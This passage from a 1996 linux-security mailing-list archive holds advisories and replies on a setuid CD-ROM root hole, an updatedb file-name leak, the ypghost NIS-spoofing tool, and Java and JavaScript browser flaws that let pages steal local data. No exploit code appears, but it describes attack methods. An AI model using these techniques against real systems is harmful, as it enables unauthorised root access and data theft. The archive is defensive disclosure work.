b24xDjKkCY08QS2sXNsILosSNTga8CYdia9aAHpaY+5uur8Cji6b1GMrZKz8ZILo Jn+Iwdhf1H0= =yTyj -----END PGP SIGNATURE----- From [email protected] Mon Feb 12 06:09:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA07510; Mon, 12 Feb 1996 06:09:21 -0500 From: [email protected] >From: Alan Cox Message-Id: <[email protected]> Subject: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling To: [email protected] Date: Mon, 12 Feb 1996 09:36:30 +0000 (GMT) Cc: [email protected] In-Reply-To: <[email protected]> from "Lars Wirzenius" at Feb 12, 96 08:24:52 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > The 1.3.61 and 1.3.62 kernels break IP firewalling due to new > setsockopt() arguments. > > There is currently no publically available set of utilities to > make firewalling work under these kernels. > > If you depend on firewalling, STAY AWAY FROM THESE KERNELS. Fortunately the provided information is incorrect. You can get the new ipfwadm from ftp.xos.nl. The new firewalling provides the ability for the user to order firewall rules by hand, which has been requested by many people and is a definite security advantage. Old tools _will_ break on this release. Thats a deliberate policy decision to improve facilities and security available before 1.4.0/2.0.0 Alan From [email protected] Mon Feb 12 09:08:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id JAA07905; Mon, 12 Feb 1996 09:08:44 -0500 From: [email protected] Message-Id: <[email protected]> Subject: Re: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling To: [email protected] (Alan Cox) Date: Mon, 12 Feb 1996 13:38:28 +0100 (MET) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Alan Cox" at Feb 12, 96 09:36:30 am >From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list [mod: I just looked at ftp.xos.nl and found that there's now version 2.0beta1 available, dated 12 Feb, 13:24. I haven't compiled it yet, but I guess this should settle the issue. --okir] Alan Cox wrote: > >> The 1.3.61 and 1.3.62 kernels break IP firewalling due to new >> setsockopt() arguments. >> >> There is currently no publically available set of utilities to >> make firewalling work under these kernels. >> >> If you depend on firewalling, STAY AWAY FROM THESE KERNELS. >Fortunately the provided information is incorrect. You can get the >new ipfwadm from ftp.xos.nl. This turns out not to be the case. The latest public version at that site is in /pub/linux/ipfwadm/ipfwadm-1.2.tar.gz, which breaks. The latest beta version is at /pub/tmp/ipfwadm-beta.tar.gz (which I just verified half a minute ago), dated Jan 29 12:56, which also breaks under 1.3.6[12]. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. linux-security/linux-security.960223100664 1767 1767 13662 6113443777 16664 0ustar majdommajdomFrom [email protected] Fri Feb 23 11:19:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA20241; Fri, 23 Feb 1996 11:19:05 -0500 Date: Fri, 23 Feb 1996 00:29:54 -0500 (EST) From: Doctor Who To: [email protected] Subject: [linux-security] SlackWare 3.0 insecurity Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This effects Slackware 3.0 and possibly other distributions, I haven't checked others yet. If you mount the CDROM, it is mounted SUID-enabled. This is bad as many CDs include things such as the live filesystem on the Slackware CD. Thus, all a cracker has to do is run /cdrom/live/usr/bin/splitvt or exploit some other horrible old SUID-bug and root is obtained. Fix this by changing the line in /etc/fstab which reads: /dev/cdrom /cdrom iso9660 ro 1 1 to read: /dev/cdrom /cdrom iso9660 nosuid ro 1 1 to fix, and then umount /cdrom ; mount /cdrom to activate -----------=?> Doctor Who From: Jeff Uphoff To: Doctor Who Cc: [email protected] Subject: Re: [linux-security] SlackWare 3.0 insecurity In-Reply-To: Your message of Fri, February 23, 1996 00:29:54 -0500 References: X-Quote-I-Like: "In the UK we have no equipment to cope when it is hot, or when it is cold, or when it is dry, or when it is wet. And then everyone is *so* surprised when we get weather." --Simon Bonnick (in alt.sysadmin.recovery). X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "DW" == Doctor Who writes: DW> If you mount the CDROM, it is mounted SUID-enabled. This is bad as DW> many CDs include things such as the live filesystem on the Slackware DW> CD. Thus, all a cracker has to do is run /cdrom/live/usr/bin/splitvt DW> or exploit some other horrible old SUID-bug and root is obtained. Distribution developers/maintainers just can't completely protect sysadmins from their own blunders IMHO; if a sysadmin is foolish enough to allow his/her removable media to be mounted setuid, and said sysadmin keeps a CD-ROM mounted like this...well, that's just asking for trouble. (The way I view it, the fstab provided with distributions should be considered as nothing more than a basic starting point for a system--though I'm sure that others will debate that statement.) As many already know, here are a few generally smart things to do (not meant to be a comprehensive list): All FS's except / should be listed as 'nodev' in the fstab. All FS's except / and /usr should usually be 'nosuid' (unless explicitly required otherwise). All removable media should be both 'nodev' and 'nosuid', which is implicit (along with 'noexec') if it carries the 'user' option. Ditto for NFS filesystems ('nodev' and 'nosuid') unless, again, the situation dictates otherwise. The truly cautious/paranoid may also want to mount some other things 'noexec' (e.g. FTP/archive areas). DW> Fix this by changing the line in /etc/fstab which reads: DW> /dev/cdrom /cdrom iso9660 ro 1 1 DW> to read: DW> /dev/cdrom /cdrom iso9660 nosuid ro 1 1 ^^typo. The fourth (options) field is a comma-separated list, as in: /dev/cdrom /cdrom iso9660 nosuid,ro 1 1 --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Fri Feb 23 18:04:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id SAA22463; Fri, 23 Feb 1996 18:04:29 -0500 Date: Fri, 23 Feb 1996 17:18:07 -0500 (EST) From: Doctor Who To: [email protected] cc: [email protected] Subject: Re: [linux-security] SlackWare 3.0 insecurity Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: Anyone wishing to pursue this discussion any further please take it to private email. I'm approving this to the list mainly because of the offer to distribution maintainers at the end of the message. Quoting trimmed. --okir] On Fri, 23 Feb 1996, Jeff Uphoff wrote: > (The way I view it, the fstab provided with distributions should be > considered as nothing more than a basic starting point for a > system--though I'm sure that others will debate that statement.) Yes...I do debate it. There is absolutely no reason for a distribution to be shipped that way. It sounds like you are saying that its the sys-admin's own damned fault for not knowing enough about linux security. This is a bad approach. Many people will be learning linux/unix with these distributions, and shouldn't get burned just because they haven't read far enough into the book yet. Distribution maintainers should provide at least a modicum of security in their product. There are a number of people who are willing to do security checks on a distribution before it is released. Any distribution maintainer who would like a security audit may contact me and I will put you in touch with said people. -----------=?> Doctor Who linux-security/linux-security.960227100664 1767 1767 22320 6114631770 16650 0ustar majdommajdomFrom [email protected] Tue Feb 27 04:39:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id EAA07915; Tue, 27 Feb 1996 04:39:15 -0500 Message-ID: Date: Tue, 27 Feb 1996 03:09:14 -0500 (EST) From: David J Meltzer To: Outbound News , Outbound News , [email protected] Subject: [linux-security] Secure Linux Project Cc: David J Meltzer Sender: [email protected] Precedence: list The overwhelming problem with security under linux is the lack of a cohesive effort by any of the distribution maintainers to actively ensure the security of any of the packages that are included within it. The generally determined role of the distributions as well as mailing lists are to passively wait until security holes are revealed by some external source before taking any sort of action. To what degree their response is successful and speedy is certainly an important point to note, but it really adds little to the security of the system over the long-term; it is only relevant to an admin as to whether he needs to be concerned with that problem for that day or week before an official fix is in order. The emergency response mode of operations for these mailing lists and maintainers is certainly a necessity, but it is also not the solution to making linux secure in the long-term. The real solution for making linux a viable choice for a secure computing environment is to take an active role in ensuring the security of it. I have spent a great deal of of my own time in making a personal effort to improve security, but it is clear that this is not a lone effort. But with the spirit upon which Linux has become what it is, together we can work to protect it. Linux is built upon the idea of people working together to build as high quality free operating system as possible, and it is time that one of those goals be to actively make it a secure operating system. It is with this idea in mind that I now announce the formation of the Secure Linux Project. /* David J Meltzer */ /* [email protected] */ [Mod: Announcement follows in a separate message. --Jeff.] From [email protected] Tue Feb 27 04:39:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id EAA07929; Tue, 27 Feb 1996 04:39:30 -0500 Message-ID: Date: Tue, 27 Feb 1996 03:09:44 -0500 (EST) From: David J Meltzer To: Outbound News , Outbound News , Outbound News , [email protected] Subject: [linux-security] ANNOUNCEMENT: Secure Linux Project Cc: David J Meltzer Sender: [email protected] Precedence: list -=-=-=-=-=-=-=-=-=-= Secure Linux Project -=-=-=-=-=-=-=-=-=-= Initial Announcement of Formation The Vision ---------- The lack of security, both in prior and current distributions of linux, is a major stumbling block for the acceptance of linux in a wide range of situations where security is a major concern. We aim to take an active role in improving the security of all linux distributions with a long-term effort focused on the review and validation of security of each individual component of current linux systems as well as a review process for new components to undergo with the ultimate goal of providing systems that we will truly be able to call "Secure Linux". The Team -------- This, in the following of the Linux tradition, is a completely volunteer and open effort. Several of the best and brightest of the linux security community have already promised to commit their efforts to the Secure Linux Project, and we are hoping many others will follow. We are looking for anyone interested in providing a long-term secure linux operating system. The Status ---------- This is the initial announcement regarding the Secure Linux Project and is intended to reach those people that are interested in providing their support and input in advance of the start of formal specification discussions for the project. A mailing list is being formed currently to provide for open communication regarding the project, and will be opened on March 4, 1996. The specifics of the projects will be discussed in this open forum starting at that time, and actual work will begin shortly thereafter. How To Join ----------- If you would like to subscribe to the Secure Linux Project mailing list, please send mail with a subject line of "SUBSCRIBE SLP" to [email protected]. Please note that this is NOT the actual project mailing list; details will be sent out regarding the list traffic in response to requests sent to that address. Feel free to send any other comments regarding the project or your interest in being a part of it to [email protected]. /* David J Meltzer */ /* [email protected] */ From [email protected] Tue Feb 27 08:09:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id IAA09450; Tue, 27 Feb 1996 08:09:22 -0500 Date: Tue, 27 Feb 1996 07:41:39 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: David J Meltzer Cc: [email protected] Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project In-Reply-To: Your message of Tue, February 27, 1996 03:09:44 -0500 References: X-Quote-I-Like: "Alt.sysadmin.recovery may be the last remaining newsgroup where the signal is undeniably higher than the noise -- and most of the noise is interesting, too!" --J.D. Falk. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "DJM" == David J Meltzer writes: DJM> -=-=-=-=-=-=-=-=-=-= DJM> Secure Linux Project DJM> -=-=-=-=-=-=-=-=-=-= DJM> Initial Announcement of Formation DJM> [...] This is, IMHO, a very good idea: a comprehensive, "ground-up," review of Linux applications' security is something that is a bit beyond the scope of the linux-security list (as it was originally envisioned); a separate set of lists--certain to be very active if/when a project like this picks up steam--is definitely called for. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Tue Feb 27 11:40:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA01830; Tue, 27 Feb 1996 11:40:21 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: Jeff Uphoff cc: David J Meltzer , [email protected] Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project In-reply-to: <[email protected]> from Jeff Uphoff on Tue, 27 Feb 1996 07:41:39 EST. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 Feb 1996 10:05:40 -0500 From: Marc Ewing Sender: [email protected] Precedence: list Jeff Uphoff writes: > "DJM" == David J Meltzer writes: > > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Secure Linux Project > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Initial Announcement of Formation > DJM> [...] > > This is, IMHO, a very good idea: a comprehensive, "ground-up," review of > Linux applications' security is something that is a bit beyond the scope > of the linux-security list (as it was originally envisioned); a separate > set of lists--certain to be very active if/when a project like this > picks up steam--is definitely called for. I agree. David has done a good job of hunting down holes ove the past few months, but even he needs to study for an exam every now and then! A concerted effort to find and squash holes is a great idea, and Red Hat Software will do whatever we can to support the effort. -Marc linux-security/linux-security.960302100664 1767 1767 7655 6116132051 16626 0ustar majdommajdomFrom [email protected] Sat Mar 2 15:35:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id PAA02299; Sat, 2 Mar 1996 15:35:55 -0500 Date: Sat, 2 Mar 1996 14:19:29 -0500 (EST) From: James Golovich X-Sender: james@beast To: [email protected] Subject: [linux-security] updatedb + locate Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I don't know if this has been brought to anyone's attention. updatedb is installed in the slackware (this is the only distribution I know about) crontab, and it is running as root... Every file which root can see is added to the filename database.. I tested this: as root mkdir /root/cantsee touch /root/cantsee/locatefile chmod 000 /root/cantsee updatedb than as a regular user: locate locatefile and sure enough it locate's a file that it isn't supposed to see... I am sure that if enough regular users used locate, you could run updatedb as a regular user and then only the files that they could see would be in the databse... James Golovich [email protected] [Mod: This problem was discussed briefly, and a sample patch was provided, in postings to linux-security on Nov. 9 and 10, 1995. For those that are still interested, or that missed them, these archived postings can be retrieved in the following two (among other) ways: 1) Send an e-mail message to the address "[email protected]" with a message body (not subject!) of: get linux-security-digest v01.n047 2) FTP/WWW URL: ftp://linux.nrao.edu/pub/security/list-archive/linux-security-digest/v01.n047 --Jeff.] From [email protected] Sat Mar 2 15:48:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id PAA02371; Sat, 2 Mar 1996 15:48:35 -0500 Date: Sat, 2 Mar 1996 15:40:50 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project [Forwarded e-mail from Marc Ewing] X-Palindrome: Did I draw Della too tall, Edward? I did? X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list Marc sent this to linux-security a few days ago, but due to a badly-timed reboot of the lists' primary mail-delivery hub here it doesn't appear that it got propagated out to the lists (though it did get archived and digested). Anyway...here it is again. ------- start of forwarded message (RFC 934 encapsulation) ------- From: Marc Ewing To: Jeff Uphoff cc: David J Meltzer , [email protected] Subject: Re: [linux-security] ANNOUNCEMENT: Secure Linux Project Date: Tue, 27 Feb 1996 10:05:40 -0500 Jeff Uphoff writes: > "DJM" == David J Meltzer writes: > > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Secure Linux Project > DJM> -=-=-=-=-=-=-=-=-=-= > DJM> Initial Announcement of Formation > DJM> [...] > > This is, IMHO, a very good idea: a comprehensive, "ground-up," review of > Linux applications' security is something that is a bit beyond the scope > of the linux-security list (as it was originally envisioned); a separate > set of lists--certain to be very active if/when a project like this > picks up steam--is definitely called for. I agree. David has done a good job of hunting down holes ove the past few months, but even he needs to study for an exam every now and then! A concerted effort to find and squash holes is a great idea, and Red Hat Software will do whatever we can to support the effort. - -Marc ------- end ------- linux-security/linux-security.960303100664 1767 1767 11306 6116422141 16635 0ustar majdommajdomFrom [email protected] Sun Mar 3 17:59:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id RAA08232; Sun, 3 Mar 1996 17:59:43 -0500 Message-Id: Date: Sun, 3 Mar 96 19:15 MET From: [email protected] (Olaf Kirch) To: [email protected] Subject: [linux-security] BoS: announcing ypghost (fwd) Fcc: +sent Mime-Version: 1.0 Content-Type: text/plain Sender: [email protected] Precedence: list -------- It was just a matter of time until someone would post such a beast to the net. I currently don't see a patch readily available for this, but it's being discussed on the NYS mailing list. As a a stopgap measure, you may want to try and disable YP over UDP to force use of TCP. You either have to patch ypserv for this, or make do with pmap_dump/pmap_set from Wietse Venema's secure portmapper distribution: Dump the current portmapper settings to a file with pmap_dump, delete the ypserv/udp line, restart the portmapper, and pipe the changed portmapper settings to pmap_set. This will make every operation involving NIS lookups (such as ls -l) dreadfully slow, so it may be quite impractical, but at least you're safe until TCP spoofing has been incoroporated into ypghost. Olaf ---------- Forwarded message ---------- Date: Sat, 2 Mar 1996 04:30:36 +0000 (GMT) From: R.Arnold / Arny To: [email protected] Subject: BoS: announcing ypghost Hello, Ypghost is now finally on general release. It can be obtained from: http://www.scit.wlv.ac.uk/~cs6171/hack/progs/ypghost/ypghost.html Ypghost effectively adds false (ghost) entries to NIS maps. It does this by watching the local network for UDP packets that are calls to the YPPROC_MATCH function of the RPC program YPPROG, and then sends out false replies. Ypghost performs NIS spoofing as described in a paper on NIS security written by D.K.Hess, D.R.Safford and U.W.Pooch. The most obvious implication is that false entries can be added to the NIS maps passwd.byname, passwd.byuid, passwd.adjunct.byname thus allowing possibly unauthorised root access. The impact of such a weakness is vastly weakened by the fact that an unauthorised person must be able to listen for, and send packets, on the communication path between the NIS client and the NIS server. In practice this means that ypghost must be run as root on a machine on the same local network, so in some ways it certainly isn't the best hacker's tool ever written. Despite this its still fairly neat since lots of people seem to talk about spoofing, but you don't often see it done in practice. It does however rely on the spoofed response reaching the client before the real one, but in practice I don't see this as a significant problem. Ypghost currently has the limitation that it only supports ethernet type interfaces, IP version 4 (with no fragmentation or options), UDP, RPC version 2 (with AUTH_NULL), YPPROG version 2, and assuming the -p option is not specified, PMAP_PROG version 2. I expect the majority of systems to comply with all these conditions though. Ypghost has been written to be fairly portable, using the 'libpcap' portable packet capturing library to receive packets, and raw sockets to transmit packets. Unfortunately old kernels don't allow you to set the source address, so it won't work with SunOS 4.1 kernels or standard current linux kernels (I expect linux will be fixed very soon however). Ypghost is known to work on: SunOS 5.4 (solaris) Linux 1.2.13 & 1.3.14 (details of how to modify kernel supplied). It also compiles and runs on FreeBSD 2.1.0, although I have not been able to test whether it does definitely work. I couldn't comment about other versions of unix, but anything with libpcap, an ANSI compiler, and a *decent* implementation of raw sockets should work. Note that ypghost needs the libpcap library. The standard version works fine on SunOS (and many other platforms) and there is also a patched version for linux available (which isn't incorporated into the standard release I think because work on libpcap seems to have stopped at version 0.0.6 !). FreeBSD (at least) seems to come with libpcap as standard. I'll probably put both libpcap and libpcap for linux on my page, or at least details where to get them from. Arny - [email protected] http://www.scit.wlv.ac.uk/~cs6171/hack/index.html -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/linux-security.960304100664 1767 1767 10657 6116663253 16661 0ustar majdommajdomFrom [email protected] Mon Mar 4 10:02:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id KAA14594; Mon, 4 Mar 1996 10:02:57 -0500 From: [email protected] Message-Id: >From: [email protected] (Alan Cox) Subject: Re: [linux-security] BoS: announcing ypghost (fwd) To: [email protected] (Olaf Kirch) Date: Mon, 4 Mar 1996 13:40:35 +0000 (GMT) Cc: [email protected] In-Reply-To: from "Olaf Kirch" at Mar 3, 96 07:15:00 pm Content-Type: text Sender: [email protected] Precedence: list > This will make every operation involving NIS lookups (such as ls -l) > dreadfully slow, so it may be quite impractical, but at least you're > safe until TCP spoofing has been incoroporated into ypghost. TCP spoofing for ypghost like tools has existed for a while, its just not been so publically available. Alan From [email protected] Mon Mar 4 16:54:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id QAA16992; Mon, 4 Mar 1996 16:54:36 -0500 From: Cy Schubert - BCSC Open Systems Group Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol Reply-to: [email protected] X-Mailer: DXmail To: [email protected] (Olaf Kirch) cc: [email protected] Subject: Re: [linux-security] BoS: announcing ypghost (fwd) In-reply-to: Your message of "Sun, 03 Mar 96 19:15:00 +0700." Date: Mon, 04 Mar 96 08:05:22 -0800 X-Mts: smtp Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] > As a a stopgap measure, you may want to try and disable YP over UDP to > force use of TCP. You either have to patch ypserv for this, or make do > with pmap_dump/pmap_set from Wietse Venema's secure portmapper distribution: > Dump the current portmapper settings to a file with pmap_dump, delete > the ypserv/udp line, restart the portmapper, and pipe the changed > portmapper settings to pmap_set. One could use the IP Firewalling code in the kernel as well/instead. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Mon Mar 4 16:54:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id QAA17007; Mon, 4 Mar 1996 16:54:50 -0500 Message-Id: <[email protected]> Subject: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) To: [email protected] Date: Mon, 4 Mar 1996 19:09:02 +0100 (MET) From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list FYI. There IS a solution to the ypghost problem available. ----- Forwarded message from Holger Trapp ----- Date: Mon, 4 Mar 1996 16:25:03 +0100 (MET) From: Holger Trapp To: [email protected] Subject: Announcement: ONC RPC / NIS security with SSH Message-ID: Hello, because SSH is a wonderful tool to protect arbitrary TCP traffic we were looking for a solution to protect UDP-based RPC traffic by forwarding datagrams via an SSH channel. Therefore we have written a prototype of an RPC proxy server and an RPC proxy client for SunOS. You can find the sources and some info on our FTP server: ftp://ftp.tu-chemnitz.de/pub/Local/informatik/sec_rpc/ It is thought as starting point and not as a production tool. In our opinion NIS is the primary service which could benefit from this solution. Holger ----- End of forwarded message from Holger Trapp ----- -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. linux-security/linux-security.960305100664 1767 1767 10304 6117062377 16650 0ustar majdommajdomFrom [email protected] Tue Mar 5 10:59:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id KAA21420; Tue, 5 Mar 1996 10:59:58 -0500 Date: Tue, 5 Mar 1996 12:04:59 +0100 From: Claudio Telmon Message-Id: <[email protected]> To: [email protected] CC: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) Sender: [email protected] Precedence: list Thomas Koenig wrote: > FYI. There IS a solution to the ypghost problem available. Taken from ftp://ftp.tu-chemnitz.de/pub/Local/informatik/sec_rpc/README.RPC ---clip---clip---clip---------- The idea is shown in this picture: Client host Server host +----------+ +----------+ +----------+ +----------+ | real RPC | ... | real RPC | | real RPC | ... | real RPC | | Client | | Client | | Server | | Server | +----------+ +----------+ +----------+ +----------+ ^ ^ ^ ^ | RPC communication | | RPC communication | | via localhost | | via localhost | | | | | | +----------+ | +------------+ | | | | v v v v +-----------+ +-----------+ | Proxy RPC | SSH channel | Proxy RPC | | Server |<--------------------------------->| Client | +-----------+ forwarding RPC messages with +-----------+ maps XIDs a globally unique XID (GXID) simply forwards back and forth requests and replies, acts as ONE virtual client Mapping XIDs ------------ The mapping of the XIDs works as follows: - The client sends its request to the proxy server. - The proxy server replaces the original XID (generated by the client) with a globally unique one, keeps this mapping in a list and forwards the message via the SSH channel. "Globally unique" means unique for all requests sent by the proxy server to the proxy client, thereby hiding the different real clients from the real server. The GXID is incremented by one with each new request. Retransmitted requests get all the same GXID. Each mapping has a reference counter to indicate how often the mapping is in use. There is an upper limit the user has to set. This limit was introduced to avoid superfluous retransmissions. Normally datagrams can't get lost because they are transmitted via the reliable SSH channel. When setting the limit to one, a request is never retransmitted. The counter for the GXID wraps to zero after incrementing past the maximum value (2^32 - 1), thus possibly losing its uniqueness. For practical purposes this shouldn't be a problem because the proxy server wipes out stale mappings (by default every 60 seconds). - The proxy server reads replies from the SSH channel and maps the GXID back to the original XID. If there is no mapping for a given GXID in the list, the reply is silently dropped. - The client receives the correct reply from the proxy server. ---clip---clip---clip--- It seems that you need to start in advance a different ssh (rpc proxy) client on the RPC server for every RPC client, and the RPC client should start the ssh server before the client tries to connect. More problems arise when a client goes down, since the ssh connection is TCP. On ftp://ftp.tu-chemnitz.de/pub/Local/informatik/sec_rpc/NIS/README.NIS there are some notes on RPC server crashes, but not on client problems. Am I wrong? ciao - Claudio linux-security/linux-security.960306100664 1767 1767 25674 6117341142 16657 0ustar majdommajdomFrom [email protected] Wed Mar 6 11:45:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA28124; Wed, 6 Mar 1996 11:45:06 -0500 Date: Wed, 6 Mar 1996 11:29:21 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] more Java/Netscape holes (fwd) X-Palindrome: Racecar. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Forwarded to me from Ruth Milner at NRAO.] ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Fri, 01 Mar 1996 20:25:14 -0500 From: Jack Decker Subject: Java/JavaScript security breaches If you are running Netscape 2.0 on your system, and are at all concerned about security or privacy, you should run, not walk to this URL: http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html The World Wide Web Security FAQ Pay special attention to questions 69 through 71. Number 71 in particular discusses: * How a JavaScript page could grab a user's e-mail address from Netscape's preferences dialog and send it across the Internet. * A script that can open up a small window that continuously monitors the user's browsing activity, capture the URLs of open documents, and transmit them to a remote server. * A script that can obtain recursive directory listings of the user's local disk and any network disks that happen to be mounted. This information can be transmitted anywhere in the Internet. * How the version of JavaScript that was included with beta versions of Netscape 2.0 contained holes that allow the user's history and cache files (both of which contain lists of recently-visited URLs) to be captured. I have not seen any information on this before today, so I suspect that other Netscape users might want to know about these risks! ------- end ------- Anyone out there looked into any of this? I know it's not Linux specific, but since so many novice admins are putting Linux systems up on the net--largely for the purpose of WWW browsing and serving--the potential for Linux-impacting abuse is quite large. The most worrying point, to me, is the third one: transmissions of recursive directory listing from your host to arbitrary remote locations. I'm wondering, since most of the world still runs Netscape under MS-Windows, if this hole applies just to that pseudo-OS--or if it applies to UNIX/Linux as well. The terminology used ("network disks") sounds somewhat non-UNIXish (since UNIXers usually say "network filesystems"), so that's why I'm wondering what the scope of the hole is.... Feedback much appreciated, especially since the net, with Java and the like, just seems to be begging for more security problems. (As if there aren't already enough!) --Up. P.S. Everyone with any security concerns and WWW involvement should definitely view the above-listed URL! From [email protected] Wed Mar 6 11:45:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA28137; Wed, 6 Mar 1996 11:45:13 -0500 Date: Wed, 6 Mar 1996 11:43:20 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] Java security bug (applets can load native methods) (fwd) X-Palindrome: Anne, I vote more cars race Rome to Vienna. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This specifically mentions Java-based exploits that have been tested successfully under Linux. Put a condom on your browsers there folks.... :)~ --Up: "Just say no" to Netscape 2.0 and Java, at least for now.... P.S. This one is kinda' nasty--apparently it can take advantage of permissions settings/problems in your ~ftp/incoming area as an exploit path. [Again, forwarded to my by Ruth Milner at NRAO.] ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Sat, 2 Mar 1996 23:51:49 +0000 (GMT) From: David Hopwood Subject: Java security bug (applets can load native methods) There is a serious security bug in the class loading code for the Java development kit and Netscape (all Java-enabled versions). If an attacker can arrange for two files (a "Loader" class, and a dynamic library) to be installed in any readable directory on the client machine, he/she can bypass all of Java's security restrictions. For example, the applet can read, write and execute files on the client, with the same permissions as the user of the browser. The only way to avoid this bug at the moment is to disable Java. In Netscape this can be done by selecting 'Disable Java' in the 'Security preferences...' section of the 'Options' menu. This bug affects all Java implementations based on Sun's source code. It is not related to JavaScript. Further details will be posted when Sun and Netscape have released patches. David Hopwood [email protected] - ------------------ Date: Mon, 4 Mar 1996 18:08:58 +0000 (GMT) From: David Hopwood Subject: Java security bug (applets can load native methods) Unfortunately my news server has been off-line for the past few days. However, I'll try to address some of the questions that were raised on [email protected] and in private mail about the recently-discovered bug in Java's class loading code. The same questions have probably been asked on RISKS and/or comp.lang.java as well. Apparently I wasn't clear enough in stating that this bug allows classfiles to be loaded from _any_ directory on the client machine, not simply those on the CLASSPATH or LD_LIBRARY_PATH. This includes, for example, /tmp, ~ftp/incoming, or an attacker's home directory if he/she has an account on the same system. The attack requires two support files on the client's system: a classfile and a dynamic library. Both files must be readable by the browser, and the dynamic library must be executable (this is always true for systems that have no file permissions). The path to the classfile from the client's root directory must be known by the attacker in advance. Code demonstrating the bug has been written and tested on Linux and Digital Unix (OSF/1). It should be portable to all POSIX systems, and with a little work, to any system that supports Java. The demonstration is very easy to extend - hiding it within any applet would require adding only two 